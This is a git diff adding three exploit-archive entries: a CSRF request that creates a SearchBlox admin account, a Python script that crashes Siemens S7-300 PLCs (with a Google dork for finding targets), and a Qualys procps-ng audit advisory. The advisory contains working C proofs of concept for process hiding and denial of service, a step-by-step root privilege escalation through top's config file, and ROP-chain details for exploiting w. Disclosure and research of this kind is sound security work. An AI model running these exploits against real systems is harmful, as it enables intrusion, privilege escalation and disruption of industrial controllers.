diff --git a/exploits/java/webapps/44801.txt b/exploits/java/webapps/44801.txt
new file mode 100644
index 000000000..4e0fc8650
--- /dev/null
+++ b/exploits/java/webapps/44801.txt
@@ -0,0 +1,48 @@
+# Exploit Title: CSRF Privilege Escalation (Creation of an administrator
+account) on SearchBlox 8.6.6
+# Exploit Author: Canberk BOLAT, Ahmet GÜREL
+# Software Link: https://www.searchblox.com/
+# Version: < = SearchBlox Version 8.6.6
+# Platform: Java
+# Tested on: Windows
+# CVE: CVE-2018-11538
+
+# 1. DETAILS
+
+Using Cross-Site Request Forgery (CSRF), an attacker can force a user who
+is currently authenticated with a web application to execute an unwanted
+action. The attacker can trick the user into loading a page which may send
+a request to perform the unwanted action in the background. In the case of
+Searchblox, we can use CSRF to perform actions on the admin dashboard by
+targeting an administrator.
+
+# 2. PoC:
+
+We assume that Searchblox is installed at http://localhost:8080/. Our
+target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and
+role parameter which is the page used to create a new user. The given POC
+will create a user on the website which has full administrator privileges.
+
+HTTP Request:
+
+GET
+/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser
+HTTP/1.1
+Host: localhost:8080
+User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0)
+Gecko/20100101 Firefox/59.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi;
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+Attack Vector:
+
+
\ No newline at end of file
diff --git a/exploits/linux/dos/44802.py b/exploits/linux/dos/44802.py
new file mode 100755
index 000000000..bff2d1355
--- /dev/null
+++ b/exploits/linux/dos/44802.py
@@ -0,0 +1,21 @@
+# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service
+# Google Dork: inurl:/Portal/Portal.mwsl
+# Date: 2018-05-30
+# Exploit Author: t4rkd3vilz
+# Vendor Homepage: https://www.siemens.com/
+# Version: SIMATIC S7-300 CPU family: all versions.
+# Tested on: Kali Linux
+# CVE: CVE-2015-2177
+
+#!/usr/bin/python
+import socket
+
+target_address="TargetIP"
+target_port=80
+
+buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"
+
+sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+connect=sock.connect((target_address,target_port))
+sock.send(buffer)
+sock.close()
\ No newline at end of file
diff --git a/exploits/linux/local/44806.txt b/exploits/linux/local/44806.txt
new file mode 100644
index 000000000..ab772afd2
--- /dev/null
+++ b/exploits/linux/local/44806.txt
@@ -0,0 +1,2178 @@
+Qualys Security Advisory
+
+Procps-ng Audit Report
+
+
+========================================================================
+Contents
+========================================================================
+
+Summary
+1. FUSE-backed /proc/PID/cmdline
+2. Unprivileged process hiding
+3. Local Privilege Escalation in top (Low Impact)
+4. Denial of Service in ps
+5. Local Privilege Escalation in libprocps (High Impact)
+ 5.1. Vulnerability
+ 5.2. Exploitation
+ 5.3. Exploitation details
+ 5.4. Non-PIE exploitation
+ 5.5. PIE exploitation
+Acknowledgments
+Patches.tar.gz.b64
+
+
+========================================================================
+Summary
+========================================================================
+
+We performed a complete audit of procps-ng, the "command line and full
+screen utilities for browsing procfs, a 'pseudo' file system dynamically
+generated by the [Linux] kernel to provide information about the status
+of entries in its process table" (https://gitlab.com/procps-ng/procps).
+procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap,
+ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w,
+watch, and the necessary libprocps library.
+
+We discovered and submitted patches for more than a hundred bugs and
+vulnerabilities in procps-ng; for reference, our patches are available
+at:
+
+https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz
+
+and base64-encoded at the end of this advisory. In the remainder of this
+advisory, we present our most interesting findings:
+
+1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)
+
+ An attacker can block any read() access to /proc/PID/cmdline by
+ mmap()ing a FUSE file (Filesystem in Userspace) onto this process's
+ command-line arguments. The attacker can therefore block pgrep, pidof,
+ pkill, ps, and w, either forever (a denial of service), or for some
+ controlled time (a synchronization tool for exploiting other
+ vulnerabilities).
+
+2. Unprivileged process hiding (CVE-2018-1121)
+
+ An unprivileged attacker can hide a process from procps-ng's
+ utilities, by exploiting either a denial of service (a rather noisy
+ method) or a race condition inherent in reading /proc/PID entries (a
+ stealthier method).
+
+3. Local Privilege Escalation in top (CVE-2018-1122)
+
+ top reads its configuration file from the current working directory,
+ without any security check, if the HOME environment variable is unset
+ or empty. In this very unlikely scenario, an attacker can carry out an
+ LPE (Local Privilege Escalation) if an administrator executes top in
+ /tmp (for example), by exploiting one of several vulnerabilities in
+ top's config_file() function.
+
+4. Denial of Service in ps (CVE-2018-1123)
+
+ An attacker can overflow the output buffer of ps, when executed by
+ another user, administrator, or script: a denial of service only (not
+ an LPE), because ps mmap()s its output buffer and mprotect()s its last
+ page with PROT_NONE (an effective guard page).
+
+5. Local Privilege Escalation in libprocps (CVE-2018-1124)
+
+ An attacker can exploit an integer overflow in libprocps's
+ file2strvec() function and carry out an LPE when another user,
+ administrator, or script executes a vulnerable utility (pgrep, pidof,
+ pkill, and w are vulnerable by default; other utilities are vulnerable
+ if executed with non-default options). Moreover, an attacker's process
+ running inside a container can trigger this vulnerability in a utility
+ running outside the container: the attacker can exploit this userland
+ vulnerability and break out of the container or chroot. We will
+ publish our proof-of-concept exploits in the near future.
+
+Additionally, CVE-2018-1125 has been assigned to
+0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and
+CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch.
+
+
+========================================================================
+1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)
+========================================================================
+
+In this experiment, we add a sleep(60) to hello_read() in
+https://github.com/libfuse/libfuse/blob/master/example/hello.c and
+compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the
+command-line arguments of a simple proof-of-concept:
+
+$ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
+$ mkdir /tmp/fuse
+$ ./hello /tmp/fuse
+
+$ cat > fuse-backed-cmdline.c << "EOF"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define die() do { \
+ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
+ exit(EXIT_FAILURE); \
+} while (0)
+
+#define PAGESZ ((size_t)4096)
+
+int
+main(const int argc, const char * const argv[])
+{
+ if (argc <= 0) die();
+ const char * const arg_start = argv[0];
+ const char * const last_arg = argv[argc-1];
+ const char * const arg_end = last_arg + strlen(last_arg) + 1;
+
+ if (arg_end <= arg_start) die();
+ const size_t len = arg_end - arg_start;
+ if (len < 2 * PAGESZ) die();
+
+ char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1));
+ if (addr < arg_start) die();
+ if (addr + PAGESZ > arg_end) die();
+
+ const int fd = open("/tmp/fuse/hello", O_RDONLY);
+ if (fd <= -1) die();
+ if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die();
+ if (close(fd)) die();
+
+ for (; {
+ sleep(1);
+ }
+ die();
+}
+EOF
+$ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline
+$ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'`
+
+Then, if root executes ps (for example):
+
+# time ps ax
+ PID TTY STAT TIME COMMAND
+...
+real 1m0.021s
+user 0m0.003s
+sys 0m0.017s
+
+
+========================================================================
+2. Unprivileged process hiding (CVE-2018-1121)
+========================================================================
+
+Several procps-ng utilities (pgrep, pidof, pkill, ps, w) read the
+/proc/PID/cmdline of every process running on the system; hence, an
+unprivileged attacker can hide a process (albeit noisily) by exploiting
+a denial of service in procps-ng (for example, the FUSE-backed denial of
+service, or one of the integer overflows in file2strvec()).
+
+Alternatively, we devised a stealthier method for hiding a process:
+
+1/ fork() our process until it occupies the last PID
+(/proc/sys/kernel/pid_max - 1) or one of the last PIDs;
+
+2/ monitor (with inotify) the /proc directory and the /proc/PID/stat
+file of one of the very first PIDs, for IN_OPEN events (opendir() and
+open());
+
+3/ when these events occur (when a procps-ng utility starts scanning
+/proc for /proc/PID entries), fork() our process until its PID wraps
+around and occupies one of the very first PIDs;
+
+4/ monitor (with inotify) the /proc directory for an IN_CLOSE_NOWRITE
+event (closedir());
+
+5/ when this event occurs (when the procps-ng utility stops scanning
+/proc), go back to 1/.
+
+This simple method works, because the kernel's proc_pid_readdir()
+function returns the /proc/PID entries in ascending numerical order.
+Moreover, this race condition can be made deterministic by using a
+FUSE-backed /proc/PID/cmdline as a synchronization tool.
+
+$ cat > unprivileged-process-hiding.c << "EOF"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define die() do { \
+ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
+ exit(EXIT_FAILURE); \
+} while (0)
+
+int
+main(void)
+{
+ for (; {
+ char lost[64];
+ {
+ const pid_t hi = getpid();
+ pid_t lo = fork();
+ if (lo <= -1) die();
+ if (!lo) { /* child */
+ lo = getpid();
+ if (lo < hi) exit(EXIT_SUCCESS); /* parent continues */
+ for (; {
+ if (kill(hi, 0) != -1) continue;
+ if (errno != ESRCH) die();
+ break;
+ }
+ continue;
+ }
+ /* parent */
+ if (lo > hi) exit(EXIT_FAILURE); /* child continues */
+ int status = 0;
+ if (waitpid(lo, &status, 0) != lo) die();
+ if (!WIFEXITED(status)) die();
+ if (WEXITSTATUS(status) != EXIT_SUCCESS) die();
+
+ printf("%d -> %d -> ", hi, lo);
+ for (; {
+ struct stat st;
+ if (--lo <= 0) die();
+ snprintf(lost, sizeof(lost), "/proc/%d/stat", lo);
+ if (stat(lost, &st) == 0) break;
+ }
+ printf("%d\n", lo);
+ }
+
+ const int pofd = inotify_init();
+ if (pofd <= -1) die();
+ if (inotify_add_watch(pofd, "/proc", IN_OPEN) <= -1) die();
+
+ const int lofd = inotify_init();
+ if (lofd <= -1) die();
+ if (inotify_add_watch(lofd, lost, IN_OPEN) <= -1) die();
+
+ const int pcfd = inotify_init();
+ if (pcfd <= -1) die();
+ if (inotify_add_watch(pcfd, "/proc", IN_CLOSE_NOWRITE) <= -1) die();
+
+ char buf[sizeof(struct inotify_event) + NAME_MAX + 1];
+ const struct inotify_event * const evp = (void *)buf;
+
+ for (; {
+ if (read(pofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
+ if (evp->mask & IN_ISDIR) break;
+ }
+
+ if (read(lofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
+ for (; {
+ const pid_t hi = getpid();
+ pid_t lo = fork();
+ if (lo <= -1) die();
+ if (lo) exit(EXIT_SUCCESS); /* parent */
+ /* child */
+ lo = getpid();
+ if (lo < hi) {
+ printf("%d -> %d\n", hi, lo);
+ break;
+ }
+ }
+
+ for (; {
+ if (read(pcfd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
+ if (evp->mask & IN_ISDIR) break;
+ }
+
+ if (close(pofd)) die();
+ if (close(lofd)) die();
+ if (close(pcfd)) die();
+ }
+ die();
+}
+EOF
+$ gcc -Wall unprivileged-process-hiding.c -o unprivileged-process-hiding
+$ ./unprivileged-process-hiding
+
+Then, if root executes ps (for example):
+
+# ps ax | grep '[u]nprivileged-process-hiding' | wc
+ 0 0 0
+
+
+========================================================================
+3. Local Privilege Escalation in top (CVE-2018-1122)
+========================================================================
+
+If a/ an administrator executes top in a directory writable by an
+attacker and b/ the HOME environment variable is unset or empty, then
+top reads its configuration file from the current working directory,
+without any security check:
+
+3829 static void configs_read (void) {
+....
+3847 p_home = getenv("HOME");
+3848 if (!p_home || p_home[0] == '\0')
+3849 p_home = ".";
+3850 snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname);
+3851
+3852 if (!(fp = fopen(Rc_name, "r"))) {
+....
+3865 if (fp) {
+3866 p = config_file(fp, Rc_name, &tmp_delay);
+
+Although b/ is very unlikely, we developed a simple command-line method
+for exploiting one of the vulnerabilities in config_file(), when top is
+not a PIE (Position-Independent Executable). For example, on Ubuntu
+16.04.4:
+
+$ file /usr/bin/top
+/usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped
+
+First, we dump a clean configuration file to /tmp/.toprc, by running top
+and pressing the 'W' key:
+
+$ cd /tmp
+$ env -u HOME top
+W
+q
+
+Second, we add an arbitrary "inspect" command to this configuration file
+(inspect commands are normally executed when the user presses the 'Y'
+key):
+
+$ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc
+
+To execute our inspect command without user interaction, we will emulate
+the 'Y' key by jumping directly into inspection_utility(), at 0x40a989
+(the fflush(stdout) is INSP_BUSY's last instruction):
+
+3442 static void inspection_utility (int pid) {
+....
+3496 case kbd_ENTER:
+3497 INSP_BUSY;
+3498 Insp_sel = &Inspect.tab[sel];
+3499 Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid);
+
+ 40a97d: 48 8b 3d 1c f8 20 00 mov 0x20f81c(%rip),%rdi # 61a1a0
+ 40a984: e8 67 7f ff ff callq 4028f0
+ 40a989: 48 63 05 2c f9 20 00 movslq 0x20f92c(%rip),%rax # 61a2bc
+ 40a990: 8b 74 24 74 mov 0x74(%rsp),%esi
+ 40a994: 48 c1 e0 06 shl $0x6,%rax
+ 40a998: 48 03 05 61 11 23 00 add 0x231161(%rip),%rax # 63bb00
+ 40a99f: 48 89 05 12 11 23 00 mov %rax,0x231112(%rip) # 63bab8
+ 40a9a6: 48 8b 78 18 mov 0x18(%rax),%rdi
+ 40a9aa: ff 10 callq *(%rax)
+ 40a9ac: 5b pop %rbx
+
+To jump directly into inspection_utility(), we will take control of
+top's execution flow, by exploiting a vulnerability in config_file().
+"sortindx" is read from the configuration file without any sanity check,
+and is later used by window_show() to access a struct FLD_t which
+contains a function pointer "sort":
+
+5876 static int window_show (WIN_t *q, int wmax) {
+....
+5894 qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort);
+
+ 40de01: ba 08 00 00 00 mov $0x8,%edx
+ 40de06: 48 c1 e0 05 shl $0x5,%rax
+ 40de0a: 48 8b 88 30 99 61 00 mov 0x619930(%rax),%rcx
+ 40de11: e8 7a 47 ff ff callq 402590
+
+To take control of this function pointer, we will write 0x40a989's LSW
+(Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW
+(Most Significant Word, 32 bits) into "summclr", which are read from the
+configuration file and written to 0x63ed30 (and 0x63ed34), a memory
+location accessible by 0x619930+(sortindx<<0x5):
+
+3676 static const char *config_file (FILE *fp, const char *name, float *delay) {
+....
+3710 if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n"
+3711 , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems))
+3712 return p;
+3713 if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n"
+3714 , &w->rc.summclr, &w->rc.msgsclr
+3715 , &w->rc.headclr, &w->rc.taskclr))
+3716 return p;
+
+ 406f90: 4d 8d b5 30 ed 63 00 lea 0x63ed30(%r13),%r14
+ .......
+ 406fa9: 41 56 push %r14
+ .......
+ 406fb3: e8 d8 b7 ff ff callq 402790
+ .......
+ 406fca: 49 8d 95 34 ed 63 00 lea 0x63ed34(%r13),%rdx
+ .......
+ 406fe5: e8 a6 b7 ff ff callq 402790
+
+Next, we modify the configuration file's "graph_mems", "summclr", and
+"sortindx" accordingly:
+
+$ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc
+
+$ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc
+
+$ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc
+
+Last, we turn off the View_MEMORY bit in the configuration file's
+"winflags", to prevent summary_show() from crashing because of our
+out-of-bounds "graph_mems":
+
+314 #define View_MEMORY 0x001000 // 'm' - display memory summary
+
+5418 static void summary_show (void) {
+....
+5499 if (isROOM(View_MEMORY, 2)) {
+....
+5540 if (w->rc.graph_mems) {
+....
+5559 ix = w->rc.graph_mems - 1;
+....
+5572 snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type);
+
+$ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/`
+$ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc
+
+Then, if an administrator executes top in /tmp, without a HOME
+environment variable (or with an empty HOME environment variable):
+
+# cat /tmp/top.*
+cat: '/tmp/top.*': No such file or directory
+
+# cd /tmp
+# env -u HOME top
+...
+ signal 11 (SEGV) was caught by top, please
+ see http://www.debian.org/Bugs/Reporting
+Segmentation fault (core dumped)
+
+# cat /tmp/top.*
+uid=0(root) gid=0(root) groups=0(root)
+
+
+========================================================================
+4. Denial of Service in ps (CVE-2018-1123)
+========================================================================
+
+ps's functions pr_args(), pr_comm(), and pr_fname() are vulnerable to an
+mmap-based buffer overflow of outbuf (ps's output buffer):
+
+ 401 static int pr_args(char *restrict const outbuf, const proc_t *restrict const pp){
+ 402 char *endp = outbuf;
+ 403 int rightward = max_rightward;
+ 404 int fh = forest_helper(outbuf);
+ 405
+ 406 endp += fh;
+ 407 rightward -= fh;
+ 408
+ 409 if(pp->cmdline && !bsd_c_option)
+ 410 endp += escaped_copy(endp, *pp->cmdline, OUTBUF_SIZE, &rightward);
+ 411 else
+ 412 endp += escape_command(endp, pp, OUTBUF_SIZE, &rightward, ESC_DEFUNCT);
+ 413
+ 414 if(bsd_e_option && rightward>1) {
+ 415 if(pp->environ && *pp->environ) {
+ 416 *endp++ = ' ';
+ 417 rightward--;
+ 418 endp += escape_strlist(endp, pp->environ, OUTBUF_SIZE, &rightward);
+ 419 }
+ 420 }
+ 421 return max_rightward-rightward;
+ 422 }
+
+The number of bytes written to endp by the escape*() functions is added
+to endp (a pointer into outbuf), but never subtracted from OUTBUF_SIZE.
+Normally "rightward" prevents this buffer overflow, because the maximum
+number of "cells" written to outbuf is OUTBUF_SIZE, and is equal to the
+number of "bytes" written to outbuf; but not in escape_str_utf8():
+
+ 36 static int escape_str_utf8(char *restrict dst, const char *restrict src, int bufsize, int *maxcells){
+ ..
+ 50 if (!(len = mbrtowc (&wc, src, MB_CUR_MAX, &s)))
+ ..
+ 78 int wlen = wcwidth(wc);
+ ..
+100 memcpy(dst, src, len);
+101 my_cells += wlen;
+102 dst += len;
+103 my_bytes += len;
+104 src += len;
+
+For example, in the "en_US.UTF-8" locale, the multibyte sequence
+"\xf4\x81\x8e\xb6" consumes 4 bytes, but only 1 cell, and an easy
+trigger for one of the outbuf overflows is:
+
+$ (A=`python -c 'print "\xf4\x81\x8e\xb6" * 32767'` exec -a `python -c 'print "A" * 65535'` sleep 60) &
+[1] 2670
+
+# env LANG=en_US.UTF-8 ps awwe
+ PID TTY STAT TIME COMMAND
+...
+Signal 11 (SEGV) caught by ps (procps-ng version 3.3.10).
+ 2670 pts/0 S 0:00ps:display.c:66: please report this bug
+Segmentation fault
+
+This buffer overflow is a denial of service only (not an LPE), because
+ps mmap()s outbuf and mprotect()s its last page with PROT_NONE (an
+effective guard page):
+
+2147 void init_output(void){
+....
+2164 outbuf = mmap(
+2165 0,
+2166 page_size * (outbuf_pages+1), // 1 more, for guard page at high addresses
+2167 PROT_READ | PROT_WRITE,
+2168 MAP_PRIVATE | MAP_ANONYMOUS,
+2169 -1,
+2170 0
+2171 );
+....
+2174 mprotect(outbuf + page_size*outbuf_pages, page_size, PROT_NONE); // guard page
+
+
+========================================================================
+5. Local Privilege Escalation in libprocps (CVE-2018-1124)
+========================================================================
+
+========================================================================
+5.1. Vulnerability
+========================================================================
+
+libprocps's file2strvec() function parses a process's /proc/PID/cmdline
+(or /proc/PID/environ), and creates an in-memory copy of this process's
+argv[] (command-line argument strings, and pointers to these strings).
+file2strvec() is called when either PROC_FILLCOM or PROC_FILLARG, but
+not PROC_EDITCMDLCVT, is passed to openproc() or readproctab() (or
+PROC_FILLENV but not PROC_EDITENVRCVT).
+
+file2strvec() is vulnerable to three integer overflows (of "tot", "c",
+and "tot + c + align"):
+
+ 660 static char** file2strvec(const char* directory, const char* what) {
+ 661 char buf[2048]; /* read buf bytes at a time */
+ 662 char *p, *rbuf = 0, *endbuf, **q, **ret;
+ 663 int fd, tot = 0, n, c, end_of_file = 0;
+ 664 int align;
+ ...
+ 670 /* read whole file into a memory buffer, allocating as we go */
+ 671 while ((n = read(fd, buf, sizeof buf - 1)) >= 0) {
+ ...
+ 686 rbuf = xrealloc(rbuf, tot + n); /* allocate more memory */
+ 687 memcpy(rbuf + tot, buf, n); /* copy buffer into it */
+ 688 tot += n; /* increment total byte ctr */
+ ...
+ 697 endbuf = rbuf + tot; /* count space for pointers */
+ 698 align = (sizeof(char*)-1) - ((tot + sizeof(char*)-1) & (sizeof(char*)-1));
+ 699 for (c = 0, p = rbuf; p < endbuf; p++) {
+ 700 if (!*p || *p == '\n')
+ 701 c += sizeof(char*);
+ ...
+ 705 c += sizeof(char*); /* one extra for NULL term */
+ 706
+ 707 rbuf = xrealloc(rbuf, tot + c + align); /* make room for ptrs AT END */
+
+To the best of our knowledge, the integer overflows of "c" and "tot + c
++ align" are not exploitable beyond a denial of service: they result in
+an mmap-based buffer overflow of rbuf, but with pointers only (pointers
+to our command-line argument strings, and a NULL terminator). Similarly,
+we were unable to exploit the integer overflow of "tot" on 32-bit.
+
+On 64-bit, however, the integer overflow of "tot" results in a memcpy()
+of arbitrary bytes (our command-line arguments) to an offset of roughly
+-2GB below rbuf. Surprisingly, the "xrealloc(rbuf, tot + n)" before the
+memcpy() does not exit() when "tot" becomes negative, because xrealloc()
+incorrectly uses an "unsigned int size" argument instead of a size_t
+(CVE-2018-1126):
+
+ 66 void *xrealloc(void *oldp, unsigned int size) {
+
+========================================================================
+5.2. Exploitation
+========================================================================
+
+To exploit the integer overflow of "tot" on 64-bit, we are faced with
+several difficulties:
+
+- We must defeat NX, ASLR, PIE, full RELRO, SSP (Stack-Smashing
+ Protector), and FORTIFY.
+
+- Our exploit must be one-shot, or as close to one-shot as possible: we
+ may use brute-force if the target procps-ng utility is executed by a
+ script, but we have only one chance to exploit this vulnerability if
+ the target utility is executed manually by an administrator.
+
+- We have no control over the target utility's command-line arguments,
+ environment variables, or resource limits (it is executed by another
+ user, administrator, or script), and we have no direct channel for an
+ information leak (we have no access to the target utility's output,
+ for example).
+
+- We were unable to exploit the integer overflow of "tot" when rbuf is
+ mmap()ed (but we were also unable to prove that it is unexploitable);
+ when the integer "tot" overflows, rbuf is an mmap()ed chunk (its size
+ is roughly 2GB), and because Linux's mmap() is a top-down allocator,
+ we believe that:
+
+ . rbuf must be allocated in a hole of the mmap-space (to survive the
+ memcpy() at a negative offset below rbuf);
+
+ . it is impossible to make such a large hole (in procps-ng, calls to
+ the malloc functions are extremely rare).
+
+Despite these difficulties, we developed proof-of-concept exploits
+against the procps-ng utility "w" on Ubuntu 16.04 (a one-shot exploit
+against a partial RELRO, non-PIE w), Debian 9 and Fedora 27 (a nearly
+one-shot exploit against a full RELRO, PIE w): if we first force "w" to
+malloc()ate n_mmaps_max = 64K mmap()ed chunks (whose size is larger than
+mmap_threshold = 128KB), then malloc() will not call mmap() anymore, but
+will call brk() instead, even for chunks larger than mmap_threshold. The
+2GB rbuf (after the integer overflow of tot) will therefore be allocated
+on the heap by brk(), and because brk() is a bottom-up allocator, we can
+easily arrange for the memcpy() at rbuf - 2GB to overwrite the beginning
+of the heap:
+
+- if w is not a PIE, we overwrite libprocps's internal PROCTAB structure
+ and its function pointers;
+
+- if w is a PIE, we overwrite the glibc's internal *gettext() structures
+ and transform this memory corruption into a format-string exploit.
+
+To force 64K allocations of 128KB (8GB) in w, we need 64K distinct PIDs
+(each /proc/PID/cmdline allocates 128KB in file2strvec()): consequently,
+/proc/sys/kernel/pid_max must be greater than 64K (it is 32K by default,
+even on 64-bit). This is not an unusual setting: large servers (database
+servers, container and storage platforms) commonly increase the value of
+pid_max (up to 4M on 64-bit). Besides pid_max, other settings may limit
+our ability to spawn 64K processes: /proc/sys/kernel/threads-max,
+RLIMIT_NPROC, and systemd-logind's UserTasksMax. Unlike pid_max,
+however, these limits are not insuperable obstacles:
+
+- they may be naturally greater than 64K, depending on the total number
+ of RAM pages (for /proc/sys/kernel/threads-max and RLIMIT_NPROC) or
+ the value of pid_max (for UserTasksMax);
+
+- they may not apply to the attacker's user account (for example,
+ systemd-logind may not at all manage this specific user account);
+
+- in any case, we do not need to spawn 64K concurrent processes: if we
+ use /proc/PID/cmdline as a FUSE-backed synchronization tool, we need
+ only a few concurrent processes.
+
+========================================================================
+5.3. Exploitation details
+========================================================================
+
+Our proof-of-concept exploit spawns five different types of processes
+("main", "mmap", "dist", "wrap", and "srpt"):
+
+- a long-lived "main" process, which spawns and coordinates the other
+ processes;
+
+- 64K long-lived "mmap" processes, which guarantee that the ~2GB rbufs
+ of our "dist" and "wrap" processes are allocated by brk() in the heap
+ of our future "w" target; the "mmap" processes occupy the lowest PIDs
+ available, to avoid interference from other processes with the heap
+ layout of w;
+
+- a long-lived "dist" ("distance") process, whose /proc/PID/cmdline is
+ carefully constructed to cover the exact distance between our target
+ structure (at the beginning of w's heap) and the rbuf of our "wrap"
+ process (at the end of w's heap);
+
+- a long-lived "wrap" ("integer wrap") process, which overflows the
+ integer "tot" and overwrites our target structure at the beginning of
+ w's heap (with the memcpy() at rbuf - 2GB);
+
+- short-lived "srpt" ("simulate readproctab") processes, which measure
+ the exact distance between our target structure (at the beginning of
+ w's heap) and the rbuf of our "wrap" process (at the end of w's heap);
+ because this distance depends on an accurate list of processes running
+ on the system, our exploit regularly spawns "srpt" processes until the
+ distance stabilizes (it is particularly unstable after a reboot).
+
+We use a few noteworthy tricks in this exploit:
+
+- we do not fork() but clone() the "mmap" processes (we use the flags
+ CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | CLONE_SIGHAND, but
+ not CLONE_THREAD, because each process must have its own /proc/PID
+ entry): this is much faster, and significantly reduces the memory
+ consumption of our exploit (the target "w" process itself already
+ consumes over 12GB = 64K*128KB + 2GB + 2GB -- the rbufs for the
+ "mmap", "dist", and "wrap" processes);
+
+- we analyze the ~2GB command-line argument strings of our "dist" and
+ "wrap" processes, to detect repeated patterns and replace them with
+ our equivalent file-backed mmap()s (this further reduces the memory
+ consumption of the exploit); moreover, we replace the argv[] pointers
+ of these processes with PROT_NONE mmap()s (hundreds of megabytes that
+ are never accessed);
+
+- we initially simulated readproctab() with our own exploit code, but
+ eventually switched to a small LD_PRELOAD library that instruments the
+ real "w" utility and provides more accurate measurements.
+
+There is much room for improvement in this proof-of-concept exploit: for
+example, it depends on the exact distance between our target structure
+(at the beginning of w's heap) and the rbuf of our "wrap" process (at
+the end of w's heap), but this distance is hard to measure inside a
+container, because processes running outside the container are not
+visible inside the container (brute-force may be a solution if the
+target utility is executed by a script, but not if it is executed
+manually by an administrator; better solutions may exist).
+
+========================================================================
+5.4. Non-PIE exploitation
+========================================================================
+
+In this section, we describe our simplest proof-of-concept exploit,
+against the non-PIE "w" on Ubuntu 16.04: we overflow the integer "tot"
+in file2strvec(), we overwrite the PROCTAB structure and its function
+pointers, and we jump into the executable segment of w. However, w is
+very small and contains no useful gadgets, syscall instructions, or
+library calls. Instead, we use a technique pioneered by Nergal in
+http://phrack.org/issues/58/4.html ("5 - The dynamic linker's
+dl-resolve() function"):
+
+We jump to the very beginning of w's PLT (Procedure Linkage Table),
+which calls _dl_runtime_resolve() and _dl_fixup() with a "reloc_arg"
+that we control (it is read from the stack) and that indexes our own
+fake Elf64_Rela structure (in w's heap), which in turn indexes a fake
+Elf64_Sym structure, which in turn indexes a string that we control and
+that allows us to call any library function, by name (even if it does
+not appear in w's PLT). The obvious choice here is the "system"
+function:
+
+- the RDI register (the first argument of the function pointer that we
+ overwrote, and hence the command argument of system()) points to the
+ PROCTAB structure, whose contents we control;
+
+- we do not need to worry about the privilege dropping of /bin/sh,
+ because w is not a set-user-ID executable.
+
+Finally, we must solve two practical problems to use this dynamic-linker
+technique against w:
+
+- our fake ELF structures are located in the heap, but indexed from the
+ executable, and a random gap separates the heap from the executable:
+ we therefore allocate four large areas in the heap (large enough to
+ defeat the randomization of the heap), one for each of our fake
+ structures (Elf64_Rela, Elf64_Sym, "system", and ndx for symbol
+ versioning);
+
+- malloc guarantees a 16-byte alignment, but Elf64_Rela and Elf64_Sym
+ are 24-byte structures: luckily, the last 8 bytes of these structures
+ are unused, and we therefore truncate our fake structures to 16 bytes.
+
+For example, on Ubuntu 16.04.4, we overwrite the PROCTAB structure with
+the following ROP chain:
+
+ procfs taskdir tdu df finder reader tfinder
+|--------|--------|----+---|--------|--------|--------|------|--------|--------|
+| id>>/tmp/w.$$ |000|0x4020bb|0x4029db|0x401100| .... |relocarg|0x402a50|
+|--------|--------|----+---|--------|--------|--------|------|--------|--------|
+ 0xffb8 bytes
+
